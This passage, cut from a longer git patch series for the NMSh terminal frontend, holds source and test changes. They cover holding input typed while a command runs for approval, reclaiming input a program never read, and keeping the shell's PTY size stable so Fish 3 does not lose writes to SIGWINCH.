ShellProtocolDecoder('tok'); + const hex = Buffer.from('pwé\r', 'utf8').toString('hex'); + assert.deepEqual(decoder.push(`\u001b]777;nmsh;tok;unread;${hex}\u0007`), [{kind: 'unread', text: 'pwé\r'}]); + assert.deepEqual(decoder.push('\u001b]777;nmsh;tok;unread;zz\u0007'), [], 'not hex: dropped, never guessed'); +}); diff --git a/tests/queueSummaryLive.test.ts b/tests/queueSummaryLive.test.ts index a6a82474..bd465160 100644 --- a/tests/queueSummaryLive.test.ts +++ b/tests/queueSummaryLive.test.ts @@ -43,8 +43,8 @@ test('live: a settled chain is reviewed and saved as a typed summary the journal // One chain: a foreground command, then two queued ones; the last fails and its text carries a made-up token. frontend.pty.write('sleep 3\r'); await frontend.waitFor(/Running sleep 3/u, mark); - frontend.pty.write(`printf 'OUT-%s\\n' FIRST\r`); - frontend.pty.write(`sh -c 'exit 4' --token=abc123\r`); + frontend.pty.write(`printf 'OUT-%s\\n' FIRST\u0011`); + frontend.pty.write(`sh -c 'exit 4' --token=abc123\u0011`); await frontend.waitFor(/Queue · 3 commands/u, mark); await frontend.waitFor(/OUT-FIRST[\s\S]*from queue/u, mark, 30_000); await frontend.waitFor(/Queue finished · 3 commands/u, mark, 30_000); diff --git a/tests/sessionService.test.ts b/tests/sessionService.test.ts index 249843b4..74105506 100644 --- a/tests/sessionService.test.ts +++ b/tests/sessionService.test.ts @@ -277,15 +277,16 @@ test('a shell from an older session service is called out, because the service b assert.match(serviceBuildNotice(undefined, own) ?? '', /build not reported/u, 'a service too old to report its build'); }); -test('a session service without this release\'s typing protections says so, and when that ends (#426)', async () => { +test('a session service without this release\'s typing protections: the window says it fails closed, what remains, and when that ends (#426)', async () => { const {serviceInputNotice} = await import('../src/session/SocketSessionClient.js'); const {SERVICE_FEATURES} = await import('../src/session/SessionProtocol.js'); assert.equal(serviceInputNotice(new Set(SERVICE_FEATURES)), undefined, 'this release\'s service: nothing to say'); // v0.20.0's service: the same protocol, without the look result #426's protections are built on. const v020 = new Set(['shell-switch', 'shell-backends', 'notices', 'input-state', 'queue', 'queue-conditions', 'background-tasks', 'input-look', 'queue-timeline', 'queue-history']); const notice = serviceInputNotice(v020) ?? ''; - assert.match(notice, /what you type while a command runs is routed as that version did/u); - assert.match(notice, /password/u, 'says what can happen, plainly'); + assert.match(notice, /typing then is held, not shown, until you choose/u, 'what this window does instead'); + assert.match(notice, /waits for your approval/u); + assert.match(notice, /can still reach the shell there/u, 'says what remains, plainly'); assert.match(notice, /restarts by itself once every NMSh window and live session has ended/u); }); diff --git a/tests/typingAfterRead.test.ts b/tests/typingAfterRead.test.ts index 9063c4c5..6bb58099 100644 --- a/tests/typingAfterRead.test.ts +++ b/tests/typingAfterRead.test.ts @@ -11,14 +11,26 @@ import {LiveSandbox, strip, until, type Frontend} from './helpers/liveFrontend.j * still runs. Fish is not held to type-ahead during `read`: fish 4 itself drops keys that are already queued when its * reader starts a terminal query, with any terminal (see docs/development/fish-typeahead.md). * - * One outcome besides running at once is correct (#426 review, #437): a command typed during a hidden read's answer, - * when a look still saw hidden input and the read's command then ended, may be a reply to a second question with no - * prompt. NMSh holds it at the prompt, never run by itself; the person's Tab shows it and their Enter runs it. It must - * still run exactly once, and only typing ahead during a hidden read may be held. (Without #437 it is never held.) + * Two outcomes besides running at once are correct, and only for typing ahead while the read's command still runs: + * - (#426 review, #437) a command typed during a hidden read's answer, when a look still saw hidden input and the + * command then ended, may be a reply to a second question with no prompt: held at the prompt, Tab shows it, Enter runs it; + * - (#426 hardening) a line entered while the command still runs may be a reply to a read NMSh never saw: it waits for + * approval (Enter reviews, Enter approves), never run by itself. On Fish the keys reach Fish's reader; those it never + * reads are taken back from the terminal when the command ends and wait for approval the same way. + * Either way it must still run exactly once. */ const HELD = /held, not run · Tab shows it · Esc discards it/u; +const APPROVAL = /typed while \S+ ran|did not read some of your typing/u; async function showAndRunHeld(frontend: Frontend, mode: string, run: number, next: string, mark: number): Promise { + if (!HELD.test(strip(frontend.output.slice(mark)))) { + assert.ok(mode === 'ahead', `only typing ahead while the read's command runs waits for approval (${mode}${run})`); + const review = frontend.mark; + frontend.pty.write('\r'); + await frontend.waitFor(/Approve and run this command\?/u, review, 10_000); + frontend.pty.write('\r'); + return; + } assert.ok(mode === 'ahead' && run % 2 === 1, `only typing ahead during a hidden read is held (${mode}${run})`); assert.equal(new RegExp(`(? new Promise(done => setTimeout(done, ms)); /** Answers device attributes and cursor position the way a terminal does: after it has read the query. */ function answerQueries(frontend: Frontend): () => void { @@ -79,11 +92,13 @@ for (const shell of ['fish', 'zsh', 'bash'] as const) { frontend.pty.write(`${next}\r`); // NMSh's journal records the next command once the shell's prompt has returned after it. Screen text could match // earlier: the queued command's row followed by an older "Completed" in a later redraw (seen in CI on #442). - await until(async () => await frontend.completions(next) > before || HELD.test(strip(frontend.output.slice(mark))), 10_000, + await until(async () => await frontend.completions(next) > before || HELD.test(strip(frontend.output.slice(mark))) + || (APPROVAL.test(strip(frontend.output.slice(mark))) && /Completed|Command failed/u.test(strip(frontend.output.slice(mark)))), 10_000, `completed journal for ${next}, or the command held`); if (await frontend.completions(next) === before) { + await pause(300); await showAndRunHeld(frontend, mode, run, next, mark); - await until(async () => await frontend.completions(next) > before, 10_000, `completed journal for ${next} after Tab and Enter`); + await until(async () => await frontend.completions(next) > before, 10_000, `completed journal for ${next} after the person's choice`); } assert.equal(await frontend.completions(next), before + 1, 'the next command ran once'); const drawn = strip(frontend.output.slice(mark)); diff --git a/tests/unreadInputLive.test.ts b/tests/unreadInputLive.test.ts new file mode 100644 index 00000000..1281b67a --- /dev/null +++ b/tests/unreadInputLive.test.ts @@ -0,0 +1,85 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {once} from 'node:events'; +import {mkdtempSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {ShellSession} from '../src/shell/ShellSession.js'; +import {shellAdapter} from '../src/shell/adapters/registry.js'; +import {SHELL_IDS, type ShellId} from '../src/shell/adapters/ShellAdapter.js'; +import {markFishCompletionsGenerated} from '../scripts/test-shell-home.mjs'; +import {unreadLines} from '../src/session/QueueDispatcher.js'; + +/** + * #426 hardening, real shells: bytes NMSh delivered to a program (an answer, keys in a program's own interface) that + * the program never read are still in the terminal when its command ends. A terminal hands them to the shell, which + * would run a complete line as a command and glue a partial one onto the next. The shell's first prompt hook now takes + * them out of the terminal and gives them to NMSh (`unread`), which holds them for approval; the shell never reads them. + */ + +const available = (id: ShellId) => Boolean(shellAdapter(id).resolveExecutable(process.env)); +const pause = (ms: number) => new Promise(done => setTimeout(done, ms)); + +async function start(id: ShellId, rc?: [string, string]) { + const home = realpathSync(mkdtempSync(join(tmpdir(), `nmsh-unread-${id}-`))); + markFishCompletionsGenerated(home); + if (rc) writeFileSync(join(home, rc[0]), rc[1]); + const shell = new ShellSession(home, 100, 30, home, {...process.env, HOME: home, XDG_CONFIG_HOME: join(home, '.config'), XDG_DATA_HOME: join(home, '.local', 'share'), + XDG_CACHE_HOME: join(home, '.cache'), LANG: 'C.UTF-8', LC_ALL: 'C.UTF-8'}, id); + const state = {shell, home, execs: [] as string[], unread: [] as string[], output: ''}; + shell.on('exec', command => state.execs.push(command)); + shell.on('unread', text => state.unread.push(text)); + shell.on('data', data => { state.output += data; }); + await once(shell, 'prompt'); + return Object.assign(state, {dispose: () => { shell.kill(); rmSync(home, {recursive: true, force: true}); }}); +} + +async function run(shell: ShellSession, command: string, during?: () => Promise) { + const done = once(shell, 'prompt'); + shell.submit(command); + if (during) await during(); + await done; +} + +for (const id of SHELL_IDS) { + test(`live ${id}: typing a command never read, a whole line and a partial one, is held at its end: never run, never glued to the next command`, {skip: !available(id) && `${id} is not installed`, timeout: 60_000}, async () => { + const s = await start(id); + try { + await run(s.shell, 'sleep 1', async () => { + await pause(300); + s.shell.write('echo QZ-RAN\r'); + s.shell.write('QZSECRET'); + }); + // As the terminal delivered them (it turns Enter into a newline): handed to NMSh whole. + assert.deepEqual(s.unread.flatMap(unreadLines), ['echo QZ-RAN', 'QZSECRET']); + await run(s.shell, 'echo NEXT-$((40+2))'.replace('$((40+2))', id === 'fish' ? '(math 40+2)' : '$((40+2))')); + assert.deepEqual(s.execs.filter(command => /QZ/u.test(command)), [], 'the shell never ran it'); + assert.match(s.output, /NEXT-42/u, 'the next command runs whole'); + assert.doesNotMatch(s.output, /QZSECRETecho|command not found|Unknown command/u); + } finally { s.dispose(); } + }); + + test(`live ${id}: an answer a program reads is its own; nothing is held`, {skip: !available(id) && `${id} is not installed`, timeout: 60_000}, async () => { + const s = await start(id); + try { + await run(s.shell, 'read x; echo GOT=$x', async () => { await pause(800); s.shell.write('ans\r'); }); + assert.match(s.output, /GOT=ans/u); + assert.deepEqual(s.unread, []); + } finally { s.dispose(); } + }); +} + +for (const id of ['zsh', 'bash'] as const) { + const rc: [string, string] = id === 'zsh' + ? ['.zshrc', 'autoload -Uz add-zsh-hook\nqz_slow() { sleep 1 }\nadd-zsh-hook precmd qz_slow\n'] + : ['.bashrc', 'PROMPT_COMMAND="sleep 1"\n']; + test(`live ${id}: input that arrives once the command is done (its prompt hooks still run) is never written to the terminal; it is held`, {skip: !available(id) && `${id} is not installed`, timeout: 60_000}, async () => { + const s = await start(id, rc); + try { + await run(s.shell, 'true', async () => { await pause(500); s.shell.write('echo QZ-LATE\r'); }); + assert.deepEqual(s.unread.flatMap(unreadLines), ['echo QZ-LATE']); + await run(s.shell, 'echo NEXT'); + assert.deepEqual(s.execs.filter(command => /QZ/u.test(command)), []); + } finally { s.dispose(); } + }); +} From 8afa63e46d2b060cc6af9da55aa8a8903a052f62 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 21:40:06 +0530 Subject: [PATCH 097/157] Shell terminal size: NMSh's own layout never resizes it; only the window does (#443) Every resize of the shell's PTY sends SIGWINCH to the foreground job, and Fish 3 drops a terminal write that signal interrupts ("write: Interrupted system call"). The PTY's rows were the transcript capacity of the current frame, so a command starting or ending (the activity row), a growing composer, a completion menu, a notice, the inspector or Settings each resized it: six resizes in one ordinary sequence of the new deterministic test on fa7ec665. The rows now come from a reference layout for the window and settings (a running command's activity row, a one-line composer, no menu, inspector, notice or panel), and while a command runs only a real window change (onResize, or the end of a full-screen handover, both reset lastPtyRows) or a width change resizes it. The transcript region may be a few rows shorter than the terminal, as under Dock Top or with the queue list: the newest rows show. Full-screen programs keep the whole window. Tests: ptyStableSize (deterministic, fails on fa7ec665), ptyResizeLive (SIGWINCH counted by a real foreground program in zsh, Bash and Fish), and fishOutputIntegrityLive for the Fish 3.7 CI loop. --- src/app/TerminalApp.ts | 28 +++++++-- tests/fishOutputIntegrityLive.test.ts | 41 +++++++++++++ tests/ptyResizeLive.test.ts | 58 ++++++++++++++++++ tests/ptyStableSize.test.ts | 85 +++++++++++++++++++++++++++ 4 files changed, 208 insertions(+), 4 deletions(-) create mode 100644 tests/fishOutputIntegrityLive.test.ts create mode 100644 tests/ptyResizeLive.test.ts create mode 100644 tests/ptyStableSize.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index c23d906c..997280d8 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -10737,6 +10737,25 @@ export class TerminalApp { return listed(this.historyViewport.detached ? planned({viewStart}) : following); } + /** + * Rows of the shell's terminal (#443). Each resize signals the foreground job (SIGWINCH), and Fish 3 loses a terminal + * write that signal interrupts, so the size never follows NMSh's own chrome: it is the transcript capacity of a + * reference layout for this window and these settings (a running command's activity row, a one-line composer, no + * menu, inspector, notice or panel). The transcript region may then be shorter than the terminal, as it already is + * under Dock Top or with the queue's list: the newest rows show. While a command runs only a real change of the window + * (onResize, or the end of a full-screen handover, both reset lastPtyRows) or of its width resizes its terminal. + */ + private ptyRows(columns: number, rows: number): number { + if (this.running && this.lastPtyRows && this.lastPtyColumns === columns) return this.lastPtyRows; + const height = this.stripActive(columns, rows) ? rows - 1 : rows; + const transcriptRows = this.output.wrapped(columns).length; + return planScreen({rows: height, inputRows: 1, suggestions: 0, inspectorRows: 0, running: true, detached: false, hasOutput: true, + composerPosition: this.promptConfiguration.composerPosition, panelPosition: this.panelPositionInEffect(), transcriptRows, + contextPlacement: this.promptConfiguration.placement, hasVisibleContext: this.hasVisibleProviderPrompt(), + composerLayout: this.effectivePromptProvider === 'none' ? 'oneLine' : this.promptConfiguration.composerLayout, + composerDividers: this.promptConfiguration.composerDividers, railPresentation: this.preparedRail(columns).presentation}).ptyRows; + } + /** * The expanded queue (header and list) when the screen has room, else undefined (the one-line row says it). Room * follows the terminal's height: up to three commands from 24 rows, two from 18, none below. Hidden while a @@ -10858,11 +10877,12 @@ export class TerminalApp { const menuOverflow = completionMenu && plan.suggestionCount > 1 && availableSuggestions.length > plan.suggestionCount; const suggestionView = suggestionWindow(availableSuggestions, effectiveSelection, menuOverflow ? plan.suggestionCount - 1 : plan.suggestionCount); const hiddenBelow = menuOverflow ? availableSuggestions.length - suggestionView.start - suggestionView.items.length : 0; - if (this.lastPtyRows !== plan.ptyRows || this.lastPtyColumns !== columns) { - this.lastPtyRows = plan.ptyRows; + const ptyRows = this.ptyRows(columns, rows); + if (this.lastPtyRows !== ptyRows || this.lastPtyColumns !== columns) { + this.lastPtyRows = ptyRows; this.lastPtyColumns = columns; - this.session.resize(columns, plan.ptyRows); - this.output.setScreenRows(plan.ptyRows); + this.session.resize(columns, ptyRows); + this.output.setScreenRows(ptyRows); this.output.setScreenColumns(columns); } diff --git a/tests/fishOutputIntegrityLive.test.ts b/tests/fishOutputIntegrityLive.test.ts new file mode 100644 index 00000000..dbb2de95 --- /dev/null +++ b/tests/fishOutputIntegrityLive.test.ts @@ -0,0 +1,41 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync} from 'node:fs'; +import {LiveSandbox, strip, until} from './helpers/liveFrontend.js'; + +/** + * #443, live: Fish's own output (its builtins write it, in its own process) arrives whole while NMSh's chrome changes + * as commands start and end. Fish 3 does not retry a terminal write that SIGWINCH interrupts and prints "write: + * Interrupted system call" instead; NMSh used to resize the shell's terminal on each such change. On Fish 4 (which + * retries) and on zsh or Bash this passes either way; it is the Fish 3.7 CI loop that tells the builds apart. + */ +const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync); +const supported = process.platform === 'darwin' || process.platform === 'linux'; +const COMMANDS = 12; +const LINES = 400; + +test('live fish: builtin output arrives whole across many command starts and ends; no interrupted write', {skip: supported && fish ? false : 'fish not installed', timeout: 240_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'fish'}); + const frontend = sandbox.launch([], {cols: 100, rows: 30}); + frontend.pty.onData(data => { + if (data.includes('\u001b[c') || data.includes('\u001b[0c')) frontend.pty.write('\u001b[?62;22c'); + if (data.includes('\u001b[6n')) frontend.pty.write('\u001b[1;1R'); + }); + try { + await frontend.waitFor(/fish/u); + await until(async () => (await sandbox.sessions()).some(session => session.lastExit !== undefined), 30_000, 'the first prompt'); + await frontend.run('echo READY', /READY/u); + for (let run = 0; run < COMMANDS; run += 1) { + const mark = frontend.mark; + const command = `for i in (seq ${LINES}); echo OUT-${run}-$i; end; echo END-${run}`; + const before = await frontend.completions(command); + frontend.pty.write(`${command}\r`); + await until(async () => await frontend.completions(command) > before, 30_000, `command ${run} to complete`); + const records = (await sandbox.transcripts().list()).flatMap(session => session.transcript.records).filter(record => record.command === command); + const output = records.at(-1)?.output ?? strip(frontend.output.slice(mark)); + const seen = new Set(output.match(new RegExp(`OUT-${run}-\\d+`, 'gu')) ?? []); + assert.equal(seen.size, LINES, `command ${run}: every line of Fish's own output arrived`); + assert.doesNotMatch(output, /Interrupted system call/u); + } + } finally { await sandbox.dispose(); } +}); diff --git a/tests/ptyResizeLive.test.ts b/tests/ptyResizeLive.test.ts new file mode 100644 index 00000000..1b5a94ab --- /dev/null +++ b/tests/ptyResizeLive.test.ts @@ -0,0 +1,58 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync, readFileSync} from 'node:fs'; +import {spawnSync} from 'node:child_process'; +import {join} from 'node:path'; +import {LiveSandbox, strip, until} from './helpers/liveFrontend.js'; + +/** + * #443, live: count the SIGWINCH a running program receives through the real composer, PTY and session service. + * NMSh's own chrome changing (a multi-line draft growing the composer, a held line's note and queue row) must send + * none; a real resize of the window sends one. Fish 3 loses a terminal write each such signal interrupts. + */ +const bash = ['/opt/homebrew/bin/bash', '/usr/local/bin/bash', '/usr/bin/bash', '/bin/bash'] + .find(path => existsSync(path) && /version (?:4\.[4-9]|[5-9]\.)/u.test(spawnSync(path, ['--version'], {encoding: 'utf8'}).stdout ?? '')); +const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync); +const supported = process.platform === 'darwin' || process.platform === 'linux'; +const pause = (ms: number) => new Promise(done => setTimeout(done, ms)); + +for (const shell of ['zsh', 'bash', 'fish'] as const) { + const available = supported && (shell === 'zsh' || (shell === 'bash' ? bash : fish)); + test(`live ${shell}: NMSh's own layout never signals a running program; a window resize does, once`, {skip: available ? false : `${shell} not installed`, timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: shell}, shell === 'bash' && bash ? {PATH: `${bash.replace(/\/bash$/u, '')}:${process.env.PATH}`} : {}); + const frontend = sandbox.launch([], {cols: 100, rows: 32}); + frontend.pty.onData(data => { + if (data.includes('\u001b[c') || data.includes('\u001b[0c')) frontend.pty.write('\u001b[?62;22c'); + if (data.includes('\u001b[6n')) frontend.pty.write('\u001b[1;1R'); + }); + const log = join(sandbox.home, 'winch.log'); + try { + await frontend.waitFor(/zsh|bash|fish/u); + await until(async () => (await sandbox.sessions()).some(session => session.lastExit !== undefined), 30_000, 'the first prompt'); + await frontend.run('echo READY', /READY/u); + const mark = frontend.mark; + // The program counts the signals it gets, and says when its handler is in place. + frontend.pty.write(`sh -c 'trap "echo W >> ${log}" WINCH; echo COUNTING; i=0; while [ $i -lt 60 ]; do sleep 0.1; i=$((i+1)); done; echo DONE-COUNTING'\r`); + await frontend.waitFor(/COUNTING/u, mark); + await pause(300); + const count = () => existsSync(log) ? readFileSync(log, 'utf8').split('\n').filter(Boolean).length : 0; + // A multi-line paste grows the composer by several rows. + frontend.pty.write('\u001b[200~line one\nline two\nline three\u001b[201~'); + await frontend.waitFor(/Enter insert/u, mark); + frontend.pty.write('\r'); + await frontend.waitFor(/❯ line one/u, mark); + await pause(500); + // Enter holds it for approval: a note in the transcript and a queue row. + frontend.pty.write('\r'); + await frontend.waitFor(/never runs by itself|waits for your approval/u, mark); + await pause(500); + assert.equal(count(), 0, 'no signal from NMSh\'s own chrome'); + frontend.pty.resize(100, 40); + await until(() => count() >= 1, 10_000, 'the window resize to reach the program'); + await pause(500); + assert.equal(count(), 1, 'exactly one signal for one window resize'); + await frontend.waitFor(/DONE-COUNTING/u, mark, 30_000); + assert.doesNotMatch(strip(frontend.output.slice(mark)), /Interrupted system call/u); + } finally { await sandbox.dispose(); } + }); +} diff --git a/tests/ptyStableSize.test.ts b/tests/ptyStableSize.test.ts new file mode 100644 index 00000000..7a8d4a50 --- /dev/null +++ b/tests/ptyStableSize.test.ts @@ -0,0 +1,85 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #443: every resize of the shell's terminal signals its foreground job (SIGWINCH). Fish 3 does not retry a terminal + * write that signal interrupts: the output, or one of NMSh's markers, is lost. The shell's terminal used to follow NMSh's + * own layout, so a command's start (the activity row), a growing composer, a completion menu, notices, the queue list or + * Settings each resized it. Its size now comes from the window and the configured layout only: UI chrome never resizes + * it, and while a command runs only a real change of the window does. + */ + +function fixture(columns = 100, rows = 32) { + const frame = executionFrameFixture(columns, rows); + let size = {columns, rows}; + Object.defineProperty(frame.app, 'dimensions', {value: () => size, configurable: true}); + Object.defineProperty(frame.app, 'terminalDimensions', {value: () => size, configurable: true}); + Object.defineProperty(frame.session, 'write', {value: () => {}, configurable: true}); + Object.defineProperty(frame.session, 'queue', {value: (op: Parameters[0]) => frame.owner.request(op), configurable: true}); + const resizes = () => frame.session.sizes.length; + return {...frame, resizes, resizeWindow: (next: {columns: number; rows: number}) => { size = next; }, + type: (text: string) => { for (const char of text) frame.app['onInput'](char); }}; +} + +test('UI-only layout changes never resize the shell\'s terminal: command start and end, composer growth, completion, notices', () => { + const f = fixture(); + try { + f.capture(); + const settledRows = f.session.sizes.at(-1); + const before = f.resizes(); + f.begin('sleep 5'); + f.capture(); + // A growing multi-line draft while the command runs. + f.app['editor'].replaceText('one\ntwo\nthree\nfour'); + f.capture(); + f.app['output'].addFrontendInteraction('note', 'a notice row', ''); + f.capture(); + f.complete(0); + f.capture(); + f.app['editor'].replaceText(''); + f.capture(); + f.begin('make'); + f.capture(); + f.complete(1); + f.capture(); + assert.equal(f.resizes(), before, `no SIGWINCH from NMSh's own layout (sizes: ${JSON.stringify(f.session.sizes.slice(before))})`); + assert.deepEqual(f.session.sizes.at(-1), settledRows); + } finally { f.dispose(); } +}); + +test('a real window resize still reaches the program at once, while it runs, exactly once', () => { + const f = fixture(); + try { + f.capture(); + f.begin('vim-like'); + f.capture(); + const before = f.resizes(); + f.resizeWindow({columns: 90, rows: 40}); + f.capture(); + f.capture(); + assert.equal(f.resizes(), before + 1); + const applied = f.session.sizes.at(-1)!; + assert.equal(applied.columns, 90); + assert.ok(applied.rows > 30, `the taller window gives the program more rows (${applied.rows})`); + // Chrome changing after that, while it still runs, sends nothing more. + f.app['editor'].replaceText('a\nb\nc'); + f.capture(); + f.complete(0); + f.capture(); + assert.equal(f.resizes(), before + 1); + } finally { f.dispose(); } +}); + +test('the shell\'s rows follow the window and the configured layout: a smaller window gives fewer rows, never more than fit', () => { + const f = fixture(80, 24); + try { + f.capture(); + const small = f.session.sizes.at(-1)!; + assert.ok(small.rows >= 1 && small.rows < 24); + f.resizeWindow({columns: 80, rows: 12}); + f.capture(); + const tiny = f.session.sizes.at(-1)!; + assert.ok(tiny.rows >= 1 && tiny.rows < 12); + } finally { f.dispose(); } +}); From 65ca5ef45484b5cb664260b0d8b784dd1e974f61 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 21:51:31 +0530 Subject: [PATCH 098/157] Input ownership: a line begun after the shell said done is type-ahead for the prompt (#426, #436) With lines entered while a command runs held for approval, a command typed during a slow prompt hook (after the command ended, before its prompt) was held too, though #436 (physical QA A10 step 3) made it run once at the prompt. Only the shell's authenticated done marker proves the command is over, and a look's "idle" dates the look, not the key: a reply begun just before an unseen read gave up would pass for type-ahead. The input state now carries `done` from the shell's done marker (an optional field older windows ignore). A draft begun after the window received it is held, never written, until the verified prompt, and runs there once. A draft begun before is held for approval as before. Older services send no `done`, so such lines are held (fail closed). Tests: two deterministic cases (after-done type-ahead runs at the prompt; a draft begun before done is held), the done marker on the wire, and a live zsh/Bash test that types and enters a command during a slow prompt hook. --- src/app/TerminalApp.ts | 40 +++++++++++++++++++++++----------- src/session/InputWatch.ts | 7 ++++-- src/session/SessionProtocol.ts | 13 ++++++----- src/session/inputState.ts | 5 +++++ tests/inputQuarantine.test.ts | 37 +++++++++++++++++++++++++++++++ tests/promptHookLive.test.ts | 27 +++++++++++++++++++++++ tests/queueQuarantine.test.ts | 16 ++++++++++++++ 7 files changed, 124 insertions(+), 21 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 997280d8..1c8e04ee 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -888,7 +888,9 @@ export class TerminalApp { * ordinary routing again, so later typing is never sent into it unasked. */ stoppedAt?: number; /** A question was reported after Ctrl+C or Ctrl+Z: the program survived the stop and asked (#426). */ - askedAfterStop?: boolean}; + askedAfterStop?: boolean; + /** A look found the command done (the shell's authenticated done marker; its prompt hooks may still run). */ + done?: boolean}; private hoveredLineIndex?: number; /** NMSh-owned transcript selection (plain drag); presentation only. */ private selection?: TranscriptSelection; @@ -914,7 +916,8 @@ export class TerminalApp { * are type-ahead for the shell and stay in the composer. */ /** typeAhead: begun right after Ctrl+C or Ctrl+Z, for the prompt the stop brings back: never a reply (#436). */ - private runningDraft?: {startId: number; at: number; answering: boolean; typeAhead: boolean}; + /** afterDone: begun once the shell said the command is done (a look answered idle): type-ahead for the prompt. */ + private runningDraft?: {startId: number; at: number; answering: boolean; typeAhead: boolean; afterDone?: boolean}; /** * Keys held while the session looks whether the running command waits for input: the first key of a draft (a * hidden reply is never drawn) and an Enter that would queue (a reply never becomes a queued command). @@ -938,7 +941,7 @@ export class TerminalApp { * a question asked after the stop (they are its reply), or the end of the stop window with the program still running * (they are held for approval like any line typed while it runs). */ - private stopAhead?: {startId: number; lines: string[]; program: string; timer: NodeJS.Timeout}; + private stopAhead?: {startId: number; lines: string[]; program: string; timer?: NodeJS.Timeout; done: boolean}; /** Set while held keys are replayed after their command ended: an Enter among them was pressed while it ran. */ private replayTypedWhile?: string; /** Held lines (typedWhile) the person chose to see, by queue entry id; everything else shows where it came from. */ @@ -2451,7 +2454,8 @@ export class TerminalApp { if (this.running && !this.editor.text && (key.kind === 'text' || key.kind === 'paste')) { // Right after Ctrl+C or Ctrl+Z, typing is type-ahead for the prompt, not a reply. const typeAhead = this.justStopped(); - this.runningDraft = {startId: this.running.startId, at: Date.now(), answering: this.answersByDefault() && !typeAhead, typeAhead}; + this.runningDraft = {startId: this.running.startId, at: Date.now(), answering: this.answersByDefault() && !typeAhead, typeAhead, + ...(this.running.done ? {afterDone: true} : {})}; } // Flow keeps the composer in the document: editing while scrolled back // returns to it first. Scrolling and mouse navigation alone never do. @@ -11755,7 +11759,7 @@ export class TerminalApp { // Typing held when a command ended right after its hidden input: whatever runs now, only the person settles it. if (this.ownershipLook?.atPrompt && !this.passthrough) return {text: heldAtPromptActions(this.ownershipLook.program), waiting: true}; if (this.stopAhead && this.running?.startId === this.stopAhead.startId && !this.editor.text) { - return {text: `Runs at the prompt once ${this.stopAhead.program} stops · Esc takes it back`, waiting: false}; + return {text: `${this.stopAhead.done ? 'Runs when the prompt is back' : `Runs at the prompt once ${this.stopAhead.program} stops`} · Esc takes it back`, waiting: false}; } if (!this.running || this.passthrough || this.queueEdit || this.justStopped()) return undefined; // The program's question keeps the activity rows, so the composer itself says how compose mode ends. @@ -11775,16 +11779,19 @@ export class TerminalApp { * A line entered right after Ctrl+C or Ctrl+Z (see stopAhead). It is never written while the stopped command still * owns the terminal: a survivor that never asks would leave it in the terminal, and the shell would then run it. */ - private holdForStop(text: string): void { + private holdForStop(text: string, done = false): void { const running = this.running!; this.editor.clear(); this.runningDraft = undefined; if (this.stopAhead?.startId === running.startId) { this.stopAhead.lines.push(text); this.render(); return; } const program = commandWords(running.command)[0] ?? 'the command'; - const left = Math.max(0, (running.stoppedAt ?? Date.now()) + STOP_TYPE_AHEAD_MS - Date.now()); - const timer = setTimeout(() => this.settleStopAhead('window'), left); - timer.unref?.(); - this.stopAhead = {startId: running.startId, lines: [text], program, timer}; + // A done command only has its prompt left to come: nothing but that prompt settles the line, never time. + let timer: NodeJS.Timeout | undefined; + if (!done) { + timer = setTimeout(() => this.settleStopAhead('window'), Math.max(0, (running.stoppedAt ?? Date.now()) + STOP_TYPE_AHEAD_MS - Date.now())); + timer.unref?.(); + } + this.stopAhead = {startId: running.startId, lines: [text], program, ...(timer ? {timer} : {}), done}; this.render(); } @@ -11797,7 +11804,7 @@ export class TerminalApp { if (!held) return; if (how === 'window' && this.running?.startId === held.startId && this.inputState?.request) how = 'asked'; if (how === 'window' && this.running?.startId !== held.startId) return; - clearTimeout(held.timer); + if (held.timer) clearTimeout(held.timer); this.stopAhead = undefined; if (how === 'drop') return; if (how === 'cancel') { this.editor.replaceText(held.lines.join('\n')); this.render(); return; } @@ -12045,7 +12052,10 @@ export class TerminalApp { // A rapid second Enter after confirming a queue review is not an answer for the command it just started. if (intent === 'enter' && !text.trim() && Date.now() - this.queueConfirmedAt < QUEUE_CONFIRM_SETTLE_MS) return; // Right after Ctrl+C or Ctrl+Z, a line is for the prompt the stop brings back; it waits for that to be verified. - if (intent === 'enter' && text.trim() && this.justStopped() && !this.answersByDefault() && !this.passthrough) { this.holdForStop(text); return; } + // So is a line begun once the shell said the command is done (its prompt hooks run): no program is left to read + // it, and it is no reply (#436). One begun before that may be a reply, and is held for approval below. + const afterDone = Boolean(this.running.done && this.runningDraft?.startId === this.running.startId && this.runningDraft.afterDone); + if (intent === 'enter' && text.trim() && (this.justStopped() || afterDone) && !this.answersByDefault() && !this.passthrough) { this.holdForStop(text, afterDone && !this.justStopped()); return; } const toProgram = intent === 'send' || (intent === 'enter' && (!this.queueAvailable() || !text.trim() || this.answersByDefault() || this.passthrough || this.justStopped())); if (toProgram) { this.editor.clear(); @@ -12272,6 +12282,8 @@ export class TerminalApp { state = current; } this.inputState = state; + // The shell said the command is done: typing begun from now on is for the prompt, never a reply (#426, #436). + if (state.done) this.running.done = true; if (state.request && stoppedAt !== undefined && state.request.since >= stoppedAt) { this.running.askedAfterStop = true; if (this.stopAhead?.startId === this.running.startId) this.settleStopAhead('asked'); @@ -12508,7 +12520,9 @@ export class TerminalApp { // typing is not a known reply (not discarded) and not known type-ahead (never run by itself if the command ends). if (result === 'hidden') { if (afterHiddenAnswer()) hold.sawAnsweredHidden = true; else hold.sawHidden = true; } // Nothing runs: the command ended (its done marker can come well before its prompt), so the rules for typing - // held by a command that 